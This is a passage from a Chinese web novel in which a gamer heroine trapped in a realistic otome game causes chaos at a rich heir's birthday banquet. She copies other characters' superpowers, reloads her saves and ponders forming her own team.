大小姐刚进门，就挂上了无懈可击的温婉笑容，明明才十八岁的女孩，身上却已经有了股社交名流的老成劲儿。
位于休息室的那位少爷也是如此，他和殷永宁二人来了个热情的拥抱，穿着高跟鞋、个头不矮的大小姐，在他旁边被衬托得娇小玲珑。
不过，比起他完美的外表，更吸引人目光的他脑袋上的两个白色大字。
“姬越”。
她说什么来着？
刚嫌弃过之前的男主都是穷鬼，有钱的这不就来了吗？
姬越继承了乙游男主的优秀品质，那就是脸小颜好、腰细腿长，帅得很客观。但他的眼睛是微微上挑的，给他增添了一丝独特的气质。
硬要说的话，就是骄傲矜贵，看着不好惹，笑里藏刀。
但朝晖觉得这很正常，很符合角色设定呀。
像殷永宁这位大小姐，就有种不符合年龄、角色的亲切感，看起来很温和（玩家觉得），恐怕是继承了来自母亲的气质。
换成她是白皇后/红皇后的女儿，能每天鼻孔朝天走路！
她都不敢想象自己要是魂穿眼前这俩人的其中一位，会是一个多么开朗快乐的人。
——当然，要是不需要社交就更好了。
朝晖看他俩在那儿寒暄，客气话一套一套的，听得耳朵都累了。
看起来，这段剧情似乎还要持续一段时间，朝晖想起大佬叮嘱自己“多吃点”的拳拳关爱之心，索性朝旁边的沙发上一坐，拿起果盘开始吃水果。
咔擦——诶，这西瓜又脆又甜，真好吃！
“刷啦”一下，旁边站着的助理、秘书、保镖等人物背后的冷汗就把衣服给浸湿了。
正在寒暄的殷永宁和姬越二人，也是实在无法忽视这显眼的啃瓜声。
“这位是？”姬越的笑容微微一顿。
殷永宁尴尬又不失礼貌地微笑：“她叫朝晖，我妈妈特地让她陪我来呢。”
朝晖闹的那点小动静，在大人物眼里压根不算什么，红皇后其实并不知道这么一号人物，直到“白皇后邀请一位异能者去家里做客”的消息传了出来。
殷一没有瞒着这件事，因为这样一来，朝晖便只能给她做事了，没有别的组织势力敢再用朝晖。
区区一位异能者，对于红白二人庞大的帝国来说，其实也不算什么。
但知己知彼百战不殆嘛，情报当然还是得知道一下。
这仔细一调查，顿时就有点坐不住了。
比起其他，红皇后更关注与“污染物”有关的信息。
污染物是洛川人的心头大患，也是红星科技在进行生物研究时，跨不过去的一道坎。
而朝晖很有可能拥有自如操控、甚至变成污染物的能力！
……殷一就这样把朝晖放过来，是什么意思？
姬越其实见过朝晖的照片，但她今天造型变了一些，他又没认为两人会有交集，所以一下子没认出来。
他的脑袋在一秒钟转过了八百道弯，就听殷永宁笑眯眯道：“我带小朝来见见世面，她以前过的苦日子，现在就爱吃好吃的。”
姬越：“……是这样吗？”
朝晖低头猛吃，把一整盘西瓜吃得干干净净，满足地抹抹嘴，抬起头，就看见殷永宁、姬越二人大眼瞪小眼地看着她。
姬越似乎还想说点什么，奈何宴会就快要开始了，他得收拾收拾准备出场。
整场生日宴所有客人，需要他单独接见的，也只有殷永宁这么一位。
由于所处圈子内，能和他平等相交的人并不太多，所以其实他和殷永宁私交还算可以。
除却面子情，私下也是能聊上两句的。
他轻声道：“……你是来砸场子的？”
殷永宁也压低了声音：“我可是听说今天晚上不会很太平啊。”
红皇后行踪神秘，她的儿子是一个显眼的目标。
今晚的宴会暗流汹涌，白皇后当然也要保证自己女儿的安全。
当然，白皇后准备的保护措施绝不仅仅只有朝晖一人。
但能在恶心恶心红皇后的同时，试试朝晖的能力，何乐而不为呢？
55. 寰天娱乐（11）
这回，朝晖终于见到了宴会的全貌。
会场内部的装饰，和外在统一，都是西方复古风格，极高的屋顶上悬挂着璀璨的吊灯，长桌上放着酒杯和食物，伴随着雅致的钢琴乐，衣着光鲜的客人们低声互相交谈。
殷永宁与姬越并排从大门迈步进入，那效果，绝对是万众瞩目。
看到那么多双齐刷刷的眼睛，一向视npc为背景板的朝晖，甚至都开始觉得有点社恐了！
说到底，在游戏中，她见过的人数最多的大场面，也就是节目组100多个人在大厅录制了。
小选手们的眼神，和宴会上这些成年人的眼神，给人的压迫感完全不是同一个等级。
“姬先生，真是年轻有为啊！”
“殷小姐，好久不见！”
人群自发地行动起来，地位更高、与主人家关系更亲近的走上前，率先开始寒暄。
姬越和殷永宁都挂上一个模子刻出来的社交笑容，客气地一一回复客人们的问候。
姬越身后，跟着一个浓眉大眼、虎背熊腰、身高突破一米九的西装大汉；熟悉他的人便会知道，这是个长得像保镖，实则不仅仅是异能者还是名牌大学毕业生的厉害人物，算是姬越的亲信。
殷永宁身后，跟着一个……
长得像小明星的漂亮女孩？
朝晖的身板，放在那个大汉旁边，被衬托得如同小鸡仔一般娇小玲珑。
她的表情，又透露出一副头一次见大场面、抓耳挠腮左顾右盼的不安。
就特别地小家子气，上不来台面！
朝晖问系统：“我天呢，你们做这么多npc不怕游戏会卡吗？”
系统：……
朝晖在现实中是有点“社交恐惧症”的，特别是那种能跟不认识的客人亲切又不失尴尬地寒暄两个小时的那种场合，她见了就发怵。
倒不是害怕，说到底就是她年纪不大，没有经历过什么风风雨雨，尤其是思维上还保持着小孩的模式。
在她所处的时代，从小被父母宠大的年轻一辈，哪怕大学毕业了、进入社会工作了，也难免保留着小时候的纯真，总觉得自己好像没有长大一样。
很遗憾，朝晖就是这样的一个幸福的孩子，虽然嘴上天天骂着狗老板不涨工资还加班，虽然自己一个人租房住也能住得很好，但她心灵的港湾，仍旧是父母所在的那个“家”。
有了这样的一个家，她才保留着玩游戏的童心、中二病整活的快乐。
这款游戏特别地真实，不得不说宴会的场景真的做得非常漂亮，人物的模型又特别好，仔细看去，每个npc的神态动作都各不相同，丰富多样。
最关键的是，他们的目光全都投向这个方向！
姬越和殷永宁是久经战场了，在此情景下甚至还能跟周围的人自如交谈；旁边的大汉铁塔一般嵬然不动，似乎周围所有人对他来讲都是空气。
包含着复杂意蕴的眼神，像x光一样把朝晖从头到脚地扫过一遍又一遍，那不只是好奇，而是在评估着她身上有什么价值。
他们带着同样的假面，窃窃私语着。
游戏中的场景本来就是多样化的，能让玩家感到不舒服的决不在少数。
朝晖杀人的时候面色如常，因为她觉得玩游戏打怪是很正常的，何况血色都被和谐成了绿色，更加剧了不真实感。
但忽然进入到这个宴会场景，朝晖不舒服了。
“其实这些都是宴会背景板吧，能不能把他们全干掉，这样其实也算是保证了大小姐的安全啊。”朝晖说。
既然npc都死光了，应该就不会再有人能伤害大小姐了吧。
旁边嵬然不动的大汉：“……！？”
这句话没有屏蔽词，朝晖跟他又是并排跟在两位大佬的后面，距离很近。
再加上他的听力很好，朝晖的碎碎念声音很小，但他仍把这句话听得一清二楚。
一时间，他陷入了“不知道该做什么但总感觉应该做点什么”的纠结态。
系统也无语道：“会被抓走的。”
“我知道啊，但是偷偷把他们干掉应该就没事了吧？”朝晖忽然眼前一亮，“而且那样的话，我是不是就可以随便吃了？”
“……如果所有npc都死了，就剩您和几个人活着，警察应该还是可以调查到您的吧……”系统说。
嵬然不动的大汉转过脸来，嘴巴动了动，艰难地冒出一句：“朝小姐，这里人多眼杂，您说话可以稍微小心一点。”
朝晖很烦。
她不得不承认，游戏的沉浸式体验真的做到位了！
这场宴会带来的压抑感，和一些恐怖游戏常见的元素不一样。
它更现实，让她联想起许多不好的体验。
被强行拉去参加亲戚聚会、公司聚餐，和一群不太熟的人挂着假笑寒暄，忍受一些不喜欢但还不能发火的目光和话语……
大汉的这句话，其实讲得很客气，但它反而更显得真实——
朝晖在亲戚聚餐的时候，偶尔会走神，讲话不够热情、看起来有些颓废，就会被妈妈如此规劝：“注意一点情绪啊，很快就结束了。”
她就是很幼稚啊，很烦的时候，就会幻想干脆让世界毁灭算了！
现实里，她知道好歹，也知道参与这些活动的必要性，忍一会儿回家玩玩游戏排解排解就行。
但这不是在游戏里吗？
朝晖想到任务，还是选择先去问大小姐：“你们聊着，我先去吃点东西呗？”
被打断聊天的殷永宁、客人、旁边的姬越：“……”
其实带朝晖来，殷永宁就已经做好了她会搞事的心理准备。
出发前，她老妈是这么说的：
“小朝会怎么表现，我也说不准，但我感觉她心里是有个度的。这种场合她肯定不喜欢，就看看她会怎么做吧。”
“要是事情顺利，以后就让她经常跟着你。”
殷永宁并没有非常亲近的强大异能者作为下属，所以她很希望能够拉拢朝晖。
但是当众打断她讲话……
作为下位者，这是很不应该的行为。
殷永宁并不生气，但一直以来得到的教育告诉她，这时候应该敲打朝晖，至少让她明白自己的身份。
她也知道，这是妈妈给她的考验，朝晖是一道难题，如何“御下”是她人生的必修课。
可是……
朝晖这样的性格，真的能够被“驯服”吗？
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殷永宁还是不够成熟，她犹豫了一下，姬越就已经出手。
他微笑着说：“小戚，你先带她去后面吃东西吧。”
系统立刻发出警报声：“警告！若玩家离开宴会场地，任务很可能被判为失败。”
朝晖并未意识到姬越生气了，她解释道：“哦，我在场内吃也可以。”
然而姬越已经不再搭理她，殷永宁也转过头去，他们视她为空气，继续和眼前的客人交谈着。
大汉伸出手臂揽住她的腰，他的手像铁钳一样，朝晖根本动弹不得，被他一带就离开了原地。
这是一种体面的离开方式，因为在外人看来，他们就像是普通的男女伴一样相偕而行。
朝晖还没反应过来：？
系统道：“上位者最忌讳被冒犯尊严。亲爱的玩家，您现在的身份还很普通，所能得到的宽容是很有限的。您要注意自己的言行举止，若得到白皇后和她的女儿的支持，出门在外就能横着走了！”
“或者您也可以选择攻略男主姬越，作为殷永宁的临时保镖，您可以很方便地与他接触，积累好感度……”
它本意是劝导玩家好好做支线任务。
然而这么一解释，玩家的脑袋又把刚才发生的事情转了转，一下子就明白了他们是什么意思。
朝晖火冒三丈！！！
这大汉的力气虽大，却也不算离谱，朝晖略为挣扎了两下作为试探，下一秒，她开启了跳舞技能，附加【狂战士】buff，力量直接得到100%增幅。
刚刚还无法撼动的大汉，忽然变得脆弱起来——朝晖双手用力，“咔”地一声，那支全是肌肉、比她大腿还粗的手臂，被她硬生生掰折了。
骨头刺破西装外套，血液喷涌。朝晖出手太快，大汉竟然坚强地没有发出惨叫，但他的表情依然扭曲了，脸上一下子就布满涔涔冷汗，身体歪倒。
朝晖转身，干净利落地踢出，这发力方式是她小时候学跆拳道的时候学的，还有那么点儿半吊子水平，她很爱用。
两百多斤的强壮大汉被她一脚踹出去好几米远，撞在了长桌上，精致摆放着的酒杯和甜品碟子“哗啦啦”倒了一大片，发出巨大的声响。
周围已经有人在尖叫了：“有疯子！！”
朝晖眉头微皱，无视了背景板的动静，也没有去看大小姐和姬越。
也不知道是不是经历过读档中的不少次战斗，她此刻有了种隐约不妙的预感。
这么多大人物所在的宴会，安保工作应该很给力吧……
她没有再犹豫，而是立刻从系统界面取出魔法少女卡牌，然后从包里掏出她的卷纸——
宴会进场的时候有安检，朝晖就没带电击治疗枪，而是把卷纸塞进了小包。
安检难道还能管她带不带卷纸？
这也给了朝晖一个提醒，枪虽帅，用起来也方便，但外型上却不够具有迷惑性，携带不易，她下次做道具应该考虑更实用的类型。
即使卷纸比枪的效果弱5%，但她当时以为，安保工作应该没那么极限吧？
朝晖把卷纸往卡牌上一贴，本能促使她立刻强化自己最脆弱的头颅和胸腔！！
下一秒，“砰”地一声，朝晖的胸口绽放出一朵巨大的血花。
56. 寰天娱乐（12）
这一枪正中要害，直接击碎了朝晖的心脏，在她的胸腔口开出一个血花四溅的大洞。
能造成如此效果，一定是大口径的狙击枪子弹，按理说朝晖的身体会被击退倒下。
但由于她加强了力量，也不知道游戏系统是怎么计算的，总之她只是踉跄几步，并没有退出多远。
甚至还能保持着站立的状态！
由于她在最后关头强化了胸腔，“机械化”的效果让她的心脏不再被判定为要害，且防御力增强。因此，如此大面积的可怖伤口，系统却只计算枪击的伤害及强化减伤。
朝晖只扣了70点血。
伤口周围的血肉和金属纠缠在一起，被子弹穿过造成的高温灼伤、汽化，血液不再流失，她甚至没有挂上debuff中比较痛的【流血】，而是被判为负面状态【灼伤】：属性点略微减少，缓慢扣血。
朝晖刚才还很生气，现在已经被转移了注意力，还有功夫大惊小怪：“哇塞，这什么枪，也太猛了吧！！”
“！？”
被她折伤手臂的大汉直面着她，将她受伤以来一系列变化尽收眼底，他震惊地瞪大了眼：“你……还是人吗？”
“你怎么还骂人啊？”朝晖眉头一皱。
两句话的功夫，她的周围已经围满了游戏战斗场面必备的黑衣人。他们持枪、眼神冷酷，性别体型各不相同，有人甚至还变化出了一些兽类的特征，一看就是异能者。
客人们则被另外一群人保护着，与朝晖拉开了相当距离。
场面得到控制后，很多客人从惊慌失措恢复了从容优雅，甚至有兴趣停留在远处，观察战场这边的情况。
姬越便是其中之一。
他看起来依旧是处变不惊的贵公子，眼中有着掩盖不住的不悦。
“殷小姐，您说您不是来砸场子的？”他道。
殷永宁：……
不是，她老妈到底是怎么得出“朝晖心里有数”这种结论的啊！！
朝晖很久没打架了。
其实也只过了不到两个星期，但在玩家看来，这当然已经是一段不短的时间。
敌人的出现令她兴奋，但她也不是傻子——之前，她单挑光头女boss都那么吃力，现在被这么一群看起来就不好惹的异能者围住，怎么可能打得过嘛！
这时候她就有点难受，光头女的异能虽强，却也和经纪人的类似，属于强化自身的类型。
在这种怪特别多的场景下，还是像余烬那样的群攻法师技能，玩起来会比较爽啊！
读档前，说不定还能拉个垫背的。
没错，说的就是那个欠揍的男主，姬越！
和鼻孔看人的姬越比起来，余烬都显得是那么的眉清目秀！！
黑衣人当中一个领头的在朝她喊话，无非就是“不要冲动”“一切好商量”之类的，朝晖左耳进右耳出，四处打量着，思考自己目前的处境。
读档是100%的了，关键是下周目该怎么办呢？
姬越是她目前遇到的最欠揍的人，殷永宁比他稍微好点，但不得不说，他们俩都有着鼻孔朝天的资本——周围这一圈黑衣人异能者可不是吃素的。
也许，远处还有狙击手盯着她……
可恶，难道这个男主她现在是揍不了了吗！？
“遇到这么憋屈的事情可是很劝退玩家的啊……等等！”
现在的情况是，朝晖被大汉带到了场地边缘才开始发难，所以整个宴会目前的左半场被她、安保们围着。
客人们则聚集在场地另一侧，从那边的大门有序离场，当然，也有很多对自家保镖很自信，自己胆子也比较大，所以故意留在最后看热闹的。
黑压压的一圈人头之中，朝晖注意到一个比别人略高一点的脑袋。此脑袋上，顶着两个看不太清楚的小白字。
她又转过头，姬越在另一边，离她比较近，头上两个大字非常显眼。
“……余烬？”
朝晖眼睛忽然一亮，她径直打断了依旧试图劝说她的黑衣人头头，指着那颗脑袋的方向大声说：“你让他过来一下我就走。”
头头身后的异能者齐刷刷转头。
人群如摩西分海那般让出一条空道，余烬脸上写满问号：“？”
头头果然不愧是担当劝降重任的角色，依然坚定地看着她：“你有什么目的？”
在场有很多重要客人，他们最主要的任务就是保证贵客的安全。
为防止朝晖有什么后手，他们也不敢在没有把握的情况下再次攻击她——万一没能一击必杀，让她反击、伤到了客人，那可就完了！
能拖拖时间也行，等客人们都撤离之后，什么事都好办。
朝晖却仿佛没有察觉到他们的意图，信誓旦旦、张口就来：“我来这里，就是因为这个男人伤害了我的感情，甚至眼睁睁地看着我被另一个男人拽走却无动于衷！！现在我受了这么重的伤，反正也活不了了，我死前也必须要找他要个说法！！”
“……”
听众当然没一个相信的，但朝晖说的也是事实：大家都能看得出来，她虽然还勉强站立着，但这应该是她异能的效果，绝对撑不了太久。
殷永宁知道朝晖可以复制异能，姬越却不知道，因为白皇后半真半假地放情报时，把重点放在了“污染物”上面。
余烬脸色一变，他的老板却已经跪了，立刻就把余烬的情况一五一十交代给了赶来的安保人员。
已经拿到朝晖资料的安保人员：……
从朝晖和余烬的身份、性格来看，她说的话怎么好像还有那么点可信度呢？
被一群异能者盯着，余烬有再多的想法也只能暂且压下，被带到“前线”。
他不得不靠近她，因为他已经知道了自己的结局。
短短时间内发生如此剧变，他的情绪似乎没能跟上局势，甚至还有几分冷静和无奈：“你临死前还要拉一个垫背的？你一动他们就会动手，我们俩都死定了。”
朝晖没理他，而是对他说：“再过来一点吧。”
她直直地盯着余烬，眼里没有情意，也没有绝望无助，只有……
兴奋？
朝晖已经强化了自己的手臂，在余烬足够靠近之后，就以迅雷不及掩耳之势把卫生纸往他身上一贴。
boss的异能消失了，机械强化消失，胸口的血哗啦啦地往外流，朝晖都不敢去看自己的血条，立刻就选择使用异能！
“砰砰砰！！！”
余烬的异能充满暴戾气息，火焰迅速迸发，很难控制，一不小心就容易把周围的东西炸掉。
这不正合玩家的意吗！
她压根就没有控制，几秒内，大半个会场就已经被炸得一片混乱。
熊熊大火燃烧，客人们甚至都没有来得及发出尖叫就被炸死好几个。
无数颗子弹向朝晖涌来，黑衣人们也不要命地扑上来，朝晖只剩十几点的血量一瞬间就被清零了。
透过被火焰灼烧得扭曲的空气，她看见了漂浮在半空中的一个白色光球……
眼前一黑，朝晖回到了休息室内的沙发上。
姬越和殷永宁在寒暄，她还没开始吃水果。
“天使？”朝晖若有所思地看了一眼姬越，“又是变身类型的？好腻啊……你们设计男主异能就不能有点新意吗？”
系统：……
“但——那个大翅膀也太太太太太太帅了吧！！！！”
朝晖面色一变，满脸狂喜，从包里掏出卫生纸，来到了寒暄二人组身边。
被她忽然大喊一声吓到的二人：？
姬越莫名地有种不好的预感。
奈何卫生纸这种东西，实在是完全不能令人警惕，朝晖的表情又永远没什么杀气，这表情管理失败的样子像极了精神病院出逃患者。
“……怎么了？”殷永宁问。
“……大翅膀？”姬越轻轻退后一步。
朝晖把卫生纸把他身上一贴——
姬越抽搐着打蚊子去了，保镖惊慌失措地冲了上来，朝晖背后“呼啦”一下展开两对洁白、巨大的羽翼，把她后背的衣服全部撑破，带来的感觉很奇妙，和触手相似，又有些不同……
周围的人全部都震惊地定在原地，包括已经恢复正常的姬越。
“我飞啦～～～～啊哈哈哈哈哈！！！”
玩家像一只东倒西歪的大苍蝇，摇摇晃晃，从窗口一跃而出！！
风呼呼地拍打着脸庞，身体下落的同时，被巨大的翅膀托住，带来奇妙的滞空感。
天空，自由！！！
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>啊——好爽啊！！！！
不少人类或许都曾羡慕过能够征服天空的生物，飞翔的感觉太过美好，只要体验一刻就会上瘾。
两对翅膀很难操控，朝晖又是一位货真价实的、刚长出翅膀的新手，在空中划过一道又一道歪七扭八的轨迹之后，她一头栽进了酒店旁边的绿化带里。
系统在呐喊：“玩家你没有穿衣服啊啊啊啊啊——”
朝晖仰天大笑：“真的好好玩啊哈哈哈哈！！！”
此刻，她已经把对姬越、殷永宁的那点儿愤怒全部忘光了。
怎么说呢，有的时候，玩家是会在游戏里遇到一些令人讨厌的boss、反派npc之类的。
但再讨厌，最多也就是试图把对方干掉，不至于上升到更高的层次。
恨意？无法释怀的愤怒？
怎么可能！
除非是像之前的杨家人那样，做了一些放在现实中也让人不能忍受的恶行，且恰好就是发生在玩家身边，否则玩家都根本不会跟npc共情。
罪大恶极的npc可太多了，血腥暴力恐怖游戏里遍地杀人犯，难道玩家还会跑去当正义使者？
呵，是正义使者还是加入抢劫，全看哪边奖励多好吧。
要是游戏操作允许的话，也可以先为民除害，再抢劫平民嘛！
说回来，殷永宁、姬越他们俩的“罪行”也不过就是藐视玩家，这其实也算不上什么，说实话，朝晖在节目组也没少被藐视过。
只不过他俩的表现形式不太好，一下子把朝晖激怒了才有此后果。
朝晖扇着翅膀试图再次起飞，奈何四膀不协调，只能在原地像老母鸡一样扑棱。
就这么一会儿的功夫，熟悉的黑衣人们再次将她包围，只不过比起上次的剑拔弩张，这回他们的态度和神色都缓和许多。
上次劝降的那位头头手上甚至还拿了一件大外套：“小姐，有话好好说，你先把衣服穿上！”
朝晖其实对于裸/奔没什么感觉，她之前就发现了，这游戏打码系统很完善，她低下头只能看见一片绿油油的马赛克，在这款真实度很高的游戏中带来强烈的违和感。
不过，她毕竟还是一位有素质的优秀市民（？），所以看到人家把衣服都拿过来了，她就顺势接过来披在身上。
姬越光速赶来，神情复杂：“你的能力是复制？你竟然能复制我的能力……”
看到他，朝晖终于发现了哪里不对劲。
她回头看了看自己的翅膀，又仔细打量了一番姬越，不停将他的身影和大火之中的白色光球进行对比。
……不对啊？
是她复制的翅膀长得太小了吗？
姬越继承了男主传统的188身高，她总觉得这么两对翅膀放在姬越身后，根本达不到“球”的效果。
她又回头看了几眼，自己这个翅膀完全展开估计三四米都不止，其实已经很大了，给人的感觉很轻盈，并不沉重。
比起球，远看似乎更像蜻蜓。
由于长出翅膀实在太令人兴奋了，朝晖暂时没有研究这个变身的其他效果，只是根据自己之前复制异能的经验稍微感受了一下，应该是类似魔法师的能力。
她伸出手，手心处发出微微的白光，看起来很柔和，但什么都没有改变。
具体如何运用，还需要她再摸索一下。
……这也太好玩了吧！！
也许是朝晖那变幻莫测的兴奋表情过于偶像失格，也许是她无视他人的姿态很令人不爽，姬越深呼吸了一口，脸上三分忍耐三分无语四分漫不经心：“你只有两对翅膀？不能100%复制吗……”
“？”
朝晖立刻就竖起耳朵：“你几对啊？”
“……三对。”
朝晖有种神奇的能力，就是她明明没有在听npc讲话，却从不疏漏任何一句她感兴趣/对她有用的信息。
虽说是左耳进右耳出，但脑袋像漏勺一样，能把她想要的给兜住！
“三对？”
朝晖掐指一算，立刻就火了：“系统，你告诉我，原版六根翅膀，那么70%的效果不应该是4.2根翅膀吗？”
“我那0.2根去哪里了！！”
“？”
系统受不了了：“你有病吧！”
57. 寰天娱乐（13）
姬越对于朝晖能复制他的能力这件事表示很震惊，
至于原因为何，他的说法是“另一位复制型的异能者曾失败过。”
姬越是异能者，蹦跶两下就跟上了朝晖的步伐，殷永宁却不是。
她还穿着带跟的小皮鞋、贴身的A字裙，步伐也没办法迈得太大，跑到一半的时候，黑衣人团队已经把朝晖拿下。
——嘴上很客气的姬越，拿人的时候倒一点也不客气，朝晖暂时还不会使用他的异能，在原地无助地扑楞了两下就被抓住了。
她没有过多废话，直接回档。
这回，两位小姐少爷聊天，她在旁边静静坐着，久违地动起脑子。
俗话说得好，将军不打无准备的仗。正面刚不过，那就敌进我退，敌退我进，战术上要灵活一些嘛！
姬越与殷永宁身份非凡，想把他俩悄无声息地干掉，简直就是一件不可能的事。
那堆黑压压的保镖真围上来，每人给她一枪，她还能怎么办？
打不过呀！
既然不能硬上，智取也并非不可。
她仔细回想着自己遇到的事情，慢慢发现两个不和谐的地方。
第一，《逐梦演艺圈》中的异能，至少从她目前所接触到的来看，使用起来从不是毫无代价的。
卫文谨不提，另两位男主都有各自的缺点。
要么是容易失控，到处引发爆炸，且耗蓝太多；要么是消耗自身生命力，还容易变成狗子，不得不在月圆之夜嚎一嚎。
以此类推，姬越肯定也有自己的问题，只是她暂时不清楚。
并且各路npc时不时说过的“污染物”一词，也缓缓进入她的脑海。
光头女boss曾提到过，一般来说，只有异能者才会受到污染影响，而普通人反而不会。她还说朝晖之所以没有污染到杨帆，是由于她的污染还不是很强大。
这其实是非常反直觉的！
在一般类似的故事中，弱小的普通人更容易受害，而特殊的异能者则可以尽量免疫伤害。
而不是像她说的那样，要很强大的污染物才能去污染普通人。
这也侧面说明，异能者与“污染”之间，有着说不清道不明的联系。
第二，在这个异能者数量不少的世界，掌握大权的，却依旧是普通人！
殷永宁叮嘱过她，姬越地位特殊，在红皇后和白皇后二人所有的孩子中，他是唯一一名异能者，因此他的生日聚会空前盛大。
但他没有看不起作为普通人的殷永宁，朝晖能感觉到他们俩是以平级论交，不分高低。
甚至由于近两年白皇后风头更劲，也或许是姬越年纪更大一些，他对大小姐的态度是比较更谦和的。
两位皇后和大小姐都是普通人，但她们都是实权者。
异能者们，只是作为高级打手存在，即使到了余烬这种异能很强、名气又高的阶段，也没办法与他公司背后的财阀翻脸。
对于平民百姓来说异能者有特权，但在财阀眼中，那不过是给打手的一点小福利罢了！
所谓犯罪后很容易洗白，也是通过投靠财阀或者大势力的方法。
“独木难支……异能者还是太少了，而互相之间也并不团结，个人的能力再强，也无法对抗由庞大普通人组成的集体。”
“没错，想要对抗这种大势力，大财阀，光靠我的个人是不可能办得到的，这就是【招募】系统的真相吗？”朝晖恍然大悟，迅速抓住重点，“如果我能组建一个异能者团队，建立属于自己的势力，带团打他们就轻松多了！”
就像光头女boss，能顺利杀死她，小李的帮助功不可没，经纪人的异能居功至伟，莎莎等人也提供了可靠的后援。
这就是团队的力量！
系统：……
你到底是怎么得出这个结论的……
这明明是一款乙女游戏啊！！
所谓异能什么的，本质上只是让男主看起来更厉害、更“苏”、背景身世更加悲惨的设定罢了！！
朝晖又继续分析：
“那普通人想要对付异能者，也非常地简单，只要找到污染程度恰好不会影响普通人的‘污染物’，往异能者那儿一丢，对方就凉凉，简直就是天然的高杀伤武器。”
“而我在设定上并不是异能者，污染最多让我掉血，不会有更深层次的问题。”
系统心头一凉，“亲爱的玩家，您……不要忘记任务……”
“哦哦。”朝晖的表情充分说明她根本没有听进去。
……
它劝了许多次也没用，索性不劝了。
现在它的底线已经降低了许多，只要玩家还能继续做任务，别把重要的男主角给杀了，其他的，随她去吧……
“朝晖，朝晖？”
殷姬二人不知什么时候聊完了天，大小姐看她低头发呆，叫了她一声。
见她应了声，殷永宁微不可见地松了口气。
朝晖的过往事迹，简直可以称得上是劣迹斑斑！
跟她在一块儿，就会忍不住担心，不知道她什么时候忽然就开始搞事，把事情弄得一团乱。
虽然殷一说过，异能者或多或少有些毛病，朝晖这个不算过分，但她还没有像她妈妈一样的大心脏，因此难免有些担忧。
结果，令人惊讶的事情发生了。
朝晖就这样安安静静陪伴她度过整场宴会。
甚至在宴会舞蹈的环节，她还老老实实和姬越的保镖一起，跳完了整支舞！！
“难道她真的……是可控的？”
想起自己妈妈说过的话，她不禁暗自陷入沉思。
舞会结束，进入闲聊环节，气氛轻松了许多。与会者三三两两散开，各自寻找相熟的人交谈，或者试图拓宽自己的人脉。
朝晖紧跟着大小姐，寸步不离。
“你去吃点东西吧，现在没什么事了。”大小姐竟和颜悦色地对她说道。
朝晖点点头，却并未离开。
刚才在舞池之中，她被那个浓眉大眼的魁梧保镖带着跳舞，许许多多的人与她旋转着擦肩而过。
他们有年轻的，有年长的，身份放在外面，无一不是响当当的人物。
把殷永宁和姬越干掉又如何呢？
红皇后与白皇后依旧掌控着这座城市，她们想要几个孩子，就要几个孩子。
何况他俩也就鼻孔朝天了一些，傲慢是罪，但……回过头也没什么必要去生气。两个不过二十岁的小孩子而已，罪不至死。
真要去杀，花费大量时间精力不说，还可能平白失去一个外快来源。
甚至影响主线任务……
主线任务？
朝晖一愣。
她，在一个游戏里。
然而，也不知道怎么的，她忽然就狠狠代入了剧情，甚至用工作般认真的态度，去思考了那么多事情。
玩游戏不是为了快乐吗？
不就是为了做一些在现实中做不到的事情吗？
“果然还是应激了，系统，赶紧把你们这个无聊的宴会剧情删掉！”
“难道你们是想搞那种打脸剧情，让玩家在宴会被刁难看不起，最后男主从天而降，带她单独离开，震惊四座？”
“……”
“嗯，仔细想想，其实打不过也没关系，玩家要勇于承认自己短暂的弱小。”朝晖自信一笑。
她已经想好要如何整活了。
想到这里，迎面忽然走来一个眼熟的家伙。
余烬。
在场众人，他的老板只能算小人物，小人物的保镖，即使他长得再帅，自然也是无人在意的。
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朝晖就奇了怪了，到底是谁设定的这些乙游男主啊？
一个比一个穷就算了，背景也没有，一个姬越丢出来，直接把之前那三个秒得渣都不剩。
异能者的强大是很有限度的，没有背景，他们再强，又是哪里来的勇气敢跟姬越这样的人去争抢“玩家”这个女主呢？
还不如加入小李，来给她打工算了！
譬如余烬，作为男主，朝晖对他没什么兴趣，但从他的偶像生涯来看，他和小卫一样，都是一个特别敬业的人。
这样的人当员工，她是非常乐意的。
余烬也看见了她，他那位小老板正跟着另一个秃头大肚中年男，殷勤地凑到二位少爷小姐旁边。
朝晖见状眼珠一转，也凑到他旁边。
“……你怎么会跟着她？”余烬小声问。
“自然是因为这里今天肯定要出事，所以才派我出马保护大小姐咯。”
“……”
余烬深深后悔自己为什么要来跟她说话。
“我说真的，既然我来了，这里肯定要出事。”朝晖说。
“……你从哪里来的自信？”
“因为我是玩家，是主角，我去的地方不出事，那剧情还有何意义呢？”
朝晖自信满满，“嘿，你要不要再考虑考虑，要不要成为我的员工？”
他的异能真的不错，伤害稳定。
“……”
余烬没少碰见过她在训练营霍霍练习生的事迹，之前，她也这么问过他一次。
他有时候真的想掰开她的脑袋，看看这份自信到底是哪里来的！
神经病和神经病之间也是有差别的好不好？！
他甚至已经开始思考，像朝晖这种超绝自信的神经病，能活到现在没被打死，难不成，真有什么道理？
“我的合约还有五年呢，你能付得起违约金？”抱着一种猎奇的心态，他竟然松口了。
朝晖自然地说，“你不是签了很差的合约吗？你的公司那么黑心，我会把它炸掉的，公司都没了，合约自然就不作数了。”
白鸽电子她炸不了，娱乐公司还干不掉吗？
她现在这么弱小，技能都没怎么升级，就把云端能源搞得股价大跌、实力大减。
竞争对手如鬣狗般一拥而上，试图撕扯下一块鲜美的肉。
等她再多肝一肝，一个小小的娱乐公司……呵！
不过她行程比较满，他的公司得排在寰天娱乐后面，等炸完寰天再说。
余烬的表情管理又失控了。
朝晖并没在意他的表情，“这些宴会的客人你认识吗？”
“……认得一些，但他们不认识我。”
“那你知道寰天的后台是什么人么？”
朝晖觉得寰天娱乐挺有意思的。
娱乐业作为洛川的支柱产业之一，寰天作为娱乐业的龙头老大，却并不属于红白皇后任何一个旗下。
这位幕后者的能量，是否能与红白二人抗衡？
“不清楚，只知道寰天的创始人是普通企业家。”余烬说。
“唉，你怎么什么都不知道？系统，男主存在的意义到底是什么啊？”朝晖唉声叹气。
“……”余烬狠狠闭上嘴。
宴会已接近尾声，朝晖大大方方地左顾右盼，她还记得之前存档里那帮黑衣保镖跳出来围住她的一幕。
真有人搞事的话，会怎么搞呢？
远处出现隐隐的骚动。
“有人晕过去了？”
灯光忽然变得昏暗了些，仿佛电力出了问题。
朝晖眯起眼，伸手拉住大小姐的胳膊，对她说：“用你的外套把鼻子捂上。”
原来不是灯光暗了，是周围的宴会厅中，不知何时起开始涌动起一阵非常不明显的黑雾。
58.寰天娱乐（14）
不知道黑雾是什么，朝晖也不在乎，见大小姐裹上衣服，四周也有人窜出来维持秩序，她便伸长了脖子四处张望。
